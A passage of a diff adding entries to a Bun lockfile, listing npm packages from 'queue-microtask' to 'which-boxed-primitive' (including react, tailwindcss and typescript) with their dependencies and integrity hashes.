"bin/qrcode" }, "sha512-1ca71Zgiu6ORjHqFBDpnSMTR2ReToX4l1Au1VFLyVeBTFavzQnv5JxMFr3ukHVKpSrSA2MCk0lNJSykjUfz7Zg=="], + + "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], + + "rc9": ["rc9@2.1.2", "", { "dependencies": { "defu": "^6.1.4", "destr": "^2.0.3" } }, "sha512-btXCnMmRIBINM2LDZoEmOogIZU7Qe7zn4BpomSKZ/ykbLObuBdvG+mFq11DL6fjH1DRwHhrlgtYWG96bJiC7Cg=="], + + "react": ["react@18.3.1", "", { "dependencies": { "loose-envify": "^1.1.0" } }, "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ=="], + + "react-dom": ["react-dom@18.3.1", "", { "dependencies": { "loose-envify": "^1.1.0", "scheduler": "^0.23.2" }, "peerDependencies": { "react": "^18.3.1" } }, "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw=="], + + "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], + + "read-cache": ["read-cache@1.0.0", "", { "dependencies": { "pify": "^2.3.0" } }, "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA=="], + + "readdirp": ["readdirp@3.6.0", "", { "dependencies": { "picomatch": "^2.2.1" } }, "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA=="], + + "reflect.getprototypeof": ["reflect.getprototypeof@1.0.10", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.9", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.7", "get-proto": "^1.0.1", "which-builtin-type": "^1.2.1" } }, "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw=="], + + "regexp-to-ast": ["regexp-to-ast@0.5.0", "", {}, "sha512-tlbJqcMHnPKI9zSrystikWKwHkBqu2a/Sgw01h3zFjvYrMxEDYHzzoMZnUrbIfpTFEsoRnnviOXNCzFiSc54Qw=="], + + "regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="], + + "remeda": ["remeda@2.33.4", "", {}, "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ=="], + + "require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="], + + "require-main-filename": ["require-main-filename@2.0.0", "", {}, "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg=="], + + "resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], + + "resolve-from": ["resolve-from@4.0.0", "", {}, "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="], + + "resolve-pkg-maps": ["resolve-pkg-maps@1.0.0", "", {}, "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw=="], + + "retry": ["retry@0.12.0", "", {}, "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow=="], + + "reusify": ["reusify@1.1.0", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="], + + "rimraf": ["rimraf@3.0.2", "", { "dependencies": { "glob": "^7.1.3" }, "bin": "bin.js" }, "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA=="], + + "run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="], + + "safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="], + + "safe-push-apply": ["safe-push-apply@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "isarray": "^2.0.5" } }, "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA=="], + + "safe-regex-test": ["safe-regex-test@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-regex": "^1.2.1" } }, "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw=="], + + "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + + "scheduler": ["scheduler@0.23.2", "", { "dependencies": { "loose-envify": "^1.1.0" } }, "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ=="], + + "semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "seq-queue": ["seq-queue@0.0.5", "", {}, "sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q=="], + + "set-blocking": ["set-blocking@2.0.0", "", {}, "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw=="], + + "set-function-length": ["set-function-length@1.2.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2" } }, "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg=="], + + "set-function-name": ["set-function-name@2.0.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "functions-have-names": "^1.2.3", "has-property-descriptors": "^1.0.2" } }, "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ=="], + + "set-proto": ["set-proto@1.0.0", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0" } }, "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw=="], + + "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], + + "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], + + "side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="], + + "side-channel-list": ["side-channel-list@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3" } }, "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA=="], + + "side-channel-map": ["side-channel-map@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3" } }, "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA=="], + + "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], + + "signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], + + "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], + + "split2": ["split2@4.2.0", "", {}, "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg=="], + + "sqlstring": ["sqlstring@2.3.3", "", {}, "sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg=="], + + "stable-hash": ["stable-hash@0.0.5", "", {}, "sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA=="], + + "std-env": ["std-env@3.10.0", "", {}, "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg=="], + + "stop-iteration-iterator": ["stop-iteration-iterator@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "internal-slot": "^1.1.0" } }, "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ=="], + + "streamsearch": ["streamsearch@1.1.0", "", {}, "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg=="], + + "string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "string-width-cjs": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "string.prototype.includes": ["string.prototype.includes@2.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.3" } }, "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg=="], + + "string.prototype.matchall": ["string.prototype.matchall@4.0.12", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.6", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "regexp.prototype.flags": "^1.5.3", "set-function-name": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA=="], + + "string.prototype.repeat": ["string.prototype.repeat@1.0.0", "", { "dependencies": { "define-properties": "^1.1.3", "es-abstract": "^1.17.5" } }, "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w=="], + + "string.prototype.trim": ["string.prototype.trim@1.2.10", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "define-data-property": "^1.1.4", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-object-atoms": "^1.0.0", "has-property-descriptors": "^1.0.2" } }, "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA=="], + + "string.prototype.trimend": ["string.prototype.trimend@1.0.9", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ=="], + + "string.prototype.trimstart": ["string.prototype.trimstart@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg=="], + + "strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "strip-ansi-cjs": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "strip-bom": ["strip-bom@3.0.0", "", {}, "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA=="], + + "strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="], + + "styled-jsx": ["styled-jsx@5.1.1", "", { "dependencies": { "client-only": "0.0.1" }, "peerDependencies": { "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0" } }, "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw=="], + + "sucrase": ["sucrase@3.35.1", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "tinyglobby": "^0.2.11", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw=="], + + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], + + "tailwind-merge": ["tailwind-merge@3.5.0", "", {}, "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A=="], + + "tailwindcss": ["tailwindcss@3.4.19", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.6.0", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.3.2", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.21.7", "lilconfig": "^3.1.3", "micromatch": "^4.0.8", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.1.1", "postcss": "^8.4.47", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", "postcss-nested": "^6.2.0", "postcss-selector-parser": "^6.1.2", "resolve": "^1.22.8", "sucrase": "^3.35.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ=="], + + "text-table": ["text-table@0.2.0", "", {}, "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="], + + "thenify": ["thenify@3.3.1", "", { "dependencies": { "any-promise": "^1.0.0" } }, "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw=="], + + "thenify-all": ["thenify-all@1.6.0", "", { "dependencies": { "thenify": ">= 3.1.0 < 4" } }, "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA=="], + + "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="], + + "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="], + + "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="], + + "ts-api-utils": ["ts-api-utils@2.4.0", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-3TaVTaAv2gTiMB35i3FiGJaRfwb3Pyn/j3m/bfAvGe8FB7CF6u+LMYqYlDh7reQf7UNvoTvdfAqHGmPGOSsPmA=="], + + "ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="], + + "tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="], + + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "tsx": ["tsx@4.21.0", "", { "dependencies": { "esbuild": "~0.27.0", "get-tsconfig": "^4.7.5" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "bin": "dist/cli.mjs" }, "sha512-5C1sg4USs1lfG0GFb2RLXsdpXqBSEhAaA/0kPL01wxzpMqLILNxIxIOKiILz+cdg/pLnOUxFYOR5yhHU666wbw=="], + + "type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="], + + "type-fest": ["type-fest@0.20.2", "", {}, "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="], + + "typed-array-buffer": ["typed-array-buffer@1.0.3", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-typed-array": "^1.1.14" } }, "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw=="], + + "typed-array-byte-length": ["typed-array-byte-length@1.0.3", "", { "dependencies": { "call-bind": "^1.0.8", "for-each": "^0.3.3", "gopd": "^1.2.0", "has-proto": "^1.2.0", "is-typed-array": "^1.1.14" } }, "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg=="], + + "typed-array-byte-offset": ["typed-array-byte-offset@1.0.4", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "for-each": "^0.3.3", "gopd": "^1.2.0", "has-proto": "^1.2.0", "is-typed-array": "^1.1.15", "reflect.getprototypeof": "^1.0.9" } }, "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ=="], + + "typed-array-length": ["typed-array-length@1.0.7", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "is-typed-array": "^1.1.13", "possible-typed-array-names": "^1.0.0", "reflect.getprototypeof": "^1.0.6" } }, "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg=="], + + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + + "unbox-primitive": ["unbox-primitive@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "has-bigints": "^1.0.2", "has-symbols": "^1.1.0", "which-boxed-primitive": "^1.1.1" } }, "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw=="], + + "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + + "unrs-resolver": ["unrs-resolver@1.11.1", "", { "dependencies": { "napi-postinstall": "^0.3.0" }, "optionalDependencies": { "@unrs/resolver-binding-android-arm-eabi": "1.11.1", "@unrs/resolver-binding-android-arm64": "1.11.1", "@unrs/resolver-binding-darwin-arm64": "1.11.1", "@unrs/resolver-binding-darwin-x64": "1.11.1", "@unrs/resolver-binding-freebsd-x64": "1.11.1", "@unrs/resolver-binding-linux-arm-gnueabihf": "1.11.1", "@unrs/resolver-binding-linux-arm-musleabihf": "1.11.1", "@unrs/resolver-binding-linux-arm64-gnu": "1.11.1", "@unrs/resolver-binding-linux-arm64-musl": "1.11.1", "@unrs/resolver-binding-linux-ppc64-gnu": "1.11.1", "@unrs/resolver-binding-linux-riscv64-gnu": "1.11.1", "@unrs/resolver-binding-linux-riscv64-musl": "1.11.1", "@unrs/resolver-binding-linux-s390x-gnu": "1.11.1", "@unrs/resolver-binding-linux-x64-gnu": "1.11.1", "@unrs/resolver-binding-linux-x64-musl": "1.11.1", "@unrs/resolver-binding-wasm32-wasi": "1.11.1", "@unrs/resolver-binding-win32-arm64-msvc": "1.11.1", "@unrs/resolver-binding-win32-ia32-msvc": "1.11.1", "@unrs/resolver-binding-win32-x64-msvc": "1.11.1" } }, "sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg=="], + + "uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="], + + "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], + + "uuid": ["uuid@8.3.2", "", { "bin": "dist/bin/uuid" }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], + + "valibot": ["valibot@1.2.0", "", { "peerDependencies": { "typescript": ">=5" } }, "sha512-mm1rxUsmOxzrwnX5arGS+U4T25RdvpPjPN4yR0u9pUBov9+zGVtO84tif1eY4r6zWxVxu3KzIyknJy3rxfRZZg=="], + + "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], + + "which-boxed-primitive": ["which-boxed-primitive@1.1.1", "", { "dependencies": { "is-bigint": "^1.1.0", "is-boolean-object": "^1.2.1", "is-number-object": "^1.1.1", "is-string": "^1.1.1", "is-symbol": "^1.1.1" } }, "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA=="], + + 